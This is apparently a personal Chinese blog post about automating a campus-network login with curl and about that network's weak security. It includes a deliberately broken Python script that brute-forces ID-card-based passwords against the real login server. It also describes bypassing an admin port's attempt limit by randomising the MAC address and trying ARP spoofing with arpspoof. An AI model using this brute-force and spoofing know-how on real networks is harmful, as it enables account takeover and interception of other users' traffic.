1. 校园网自动登录
每次电脑开机,WiFi就会自动连接校园网,但是还要进入登录页输入账号密码。有没有比较省事的方法呢,那当然是自己写一个自动登录。
打开登录页面,输好账号密码,按下F12,选择网络,点击登录按钮,就可以看到浏览器向10.51.2.20:80发送了一个GET请求。也就是说,只要发送这个请求,就能登录校园网了。这个请求有三个必要参数callback、DDDDD(用户名)和upass(密码),后面的都是环境信息,没什么影响。
Pyhton代码如下
import os
username = "admin" # 用户名
password = "passwd" # 密码
base_url = "http://10.51.2.20/drcom/login"
params = {
"callback": "dr1003",
"DDDDD": f"{username}@cmcc",
"upass": password,
}
url = base_url + "?" + "&".join([f"{key}={value}" for key, value in params.items()])
os.system(f"curl \"{url}\"")
代码非常简短,只有十几行。写好后保存,按住Win+R,打开运行,输入shell:startup,回车,进入启动文件夹,将程序放入即可开机联网自动登录。
代码写多了,Python文件有的时候是VScode打开,也可以用C写代码,写完后编译成exe文件
#include <windows.h>
int main()
{
system("curl \"http://10.51.2.20/drcom/login?callback=dr1003&DDDDD=admin%40cmcc&upass=passwd");
return 0;
}
2. 关于校园网安全性
密码的暴力破解
不难发现,这条请求是HTTP明文发送。浏览器也给出了警告。
最重要的是,校园网没有设置安全措施,比如说登陆次数过多强制等待、验证码等。这就可以用暴力方法破解密码,已知密码为身份证后六位,那么密码前两位即为日期01-31,后四位为随机数0000-9999,若不算身份证后带X的,总可能数为310000.经过测试与推算,大约全部试完需要28h.请求也不能发的太快,不然就成了DoS攻击了,服务器来不及处理请求。
Python代码如下
import request
import os
url = "http://10.51.2.20/drcom/login"
for first_two_digits in range(1, 32):
if found_password:
break
for last_four_digits in range(10000):
upass = f"{first_two_digits:02}{last_four_digits:04}"
params = {
"callback": "dr1003",
"DDDDD": "admin",
"upass": upass
}
try:
response = requests.get(url, params=params)
result_match = re.search(r'"result":(\d+)', response.text)
if result_match:
result = int(result_match.group(1))
if result == 0:
found_password = upass
print(f"成功登录,密码为: {upass}")
break
else:
print(f"尝试密码: {upass},登录失败")
else:
print(f"无法解析响应:{response.text}")
except Exception as e:
print(f"发生异常")
os.system("pause")
这代码是能发的吗?(雾)
代码我添加了一些故意的语法和逻辑错误,如果缺乏对应的知识,这也只是一些无用的符号。
但是,它的安全性实在过低,懂的人都懂。
后台管理系统
用nmap扫描一下登录的IP地址,很轻松就发现了后台管理端口。进去发现有登录次数限制,每天仅能试错五次。我想起校园网的IP地址是根据MAC用DHCP协议随机分配的,于是我勾选了使用随机MAC地址这个选项,断开网络重新连接,发现试错次数又变成5了……但密码的位数至少是六位,至少这个措施还是有点用的。
使用ARP欺骗破解(幻想,未实践)
当一台设备需要与另一台设备通信时,它会发送一个ARP请求以获取目标设备的MAC地址。这个请求会广播到网络中的所有设备。目标设备接收到请求后,会发送一个ARP响应,其中包含自己的MAC地址。ARP攻击者利用这一过程进行攻击,可以发送虚假的ARP响应,告诉网络中其他设备,例如路由器或者另一台主机,他们的MAC地址就是目标设备的MAC地址。这样,其他设备在发送数据时就会将数据发送到攻击者的设备上,攻击者可以在其中截取、篡改或者重定向数据流量,进行中间人攻击,使得通信双方都认为他们在与正确的目标设备通信。
理论上,可以伪装自己为网关,从而截获登录请求,甚至还可以转发出去,让被攻击者无察觉。
在kali上用arpspoof,可以伪装成网关,以我的手机为靶机,已经验证过可以欺骗目标使之断网,但从未尝试过接收数据或发起中间人攻击。当然,如果我这么做,大概率会被学校的网络安全和信息化办公室请去喝茶。